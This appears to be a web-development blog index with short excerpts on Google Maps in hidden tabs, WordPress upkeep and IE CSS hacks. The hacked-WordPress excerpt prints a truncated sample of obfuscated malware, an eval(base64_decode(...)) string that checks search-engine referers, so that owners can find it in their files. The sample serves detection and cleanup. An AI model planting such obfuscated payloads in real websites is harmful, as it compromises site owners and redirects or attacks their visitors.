Google Map will not load in hidden tab and switcher

If you embed Google Map in your website or application, you’ll have to place it outside of hidden tab; Or you’ll need to add a trigger in JavaScript to load the map; however, visitors of your website must double click to fully load the map. You can add this trigger like this on the page: google.maps.event.trigger(map0, ‘resize’); Or you can add a function call to Click event of a map tab: $( “#TabIDHere” ).click(function() { google.maps.event.trigger(map0, ‘resize’); }); remove nits

Continue reading »

What to do if your WordPress has been hacked

If your business website or personal blog is running on WordPress framework, you must upgrade to at least V4.4 as of Jan 2016. Before doing so, please read the instruction how to backup your files and database here. If not, your website maybe in danger of malicious embedded code attack. If you do, scan all wp- directories to find this type of codes: ————- … eval(base64_decode(“ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdH”));…..

Continue reading »

Why you shouldn’t modify codes via Plugin Editor

It is important to note that any changes that you make directly into your plugin’s core files will be overridden when you update the plugin. In theory, you should never be using the plugin editor to edit any files. Often developers use the built-in editor to view the code to make appropriate changes by utilizing a hook or filter within the plugin. If for some reason you find an absolute need to edit the plugin’s core file, then we recommend that you talk with the…

Continue reading »

Common WordPress errors after upgrading WP core or activating a new plugin, theme

Plugins Don’t Always Play Nice Note that not all plugins ‘play nice’ by working together with other plugins or themes. When plugins don’t work well with other plugins or themes you have a ‘plugin conflict’. WordPress plugins can often ‘throw errors’ or cause conflicts with other plugins or themes since they are made by many different 3rd parties. The path to your plugin folder on the remote server will look something like this: root/wp-content/plugins/my-plugin-directory-name/ The common errors are: 1) Fatal error: Call to undefined function…

Continue reading »

CSS fixes for IE browser

This is the CSS3 that can be added to stylesheet to fix styling in IE browser of all versions. /***** Attribute ******/ /* IE6 */ #once { _color: blue } /* IE6, IE7 */ #doce { *color: blue; /* or #color: blue */ } /* Everything but IE6 */ #diecisiete { color/**/: blue } /* IE6, IE7, IE8, but also IE9 in some cases 🙁 */ #diecinueve { color: blue\9; } /* IE7, IE8 */ #veinte { color/*\**/: blue\9; } /* IE6, IE7 — acts…

Continue reading »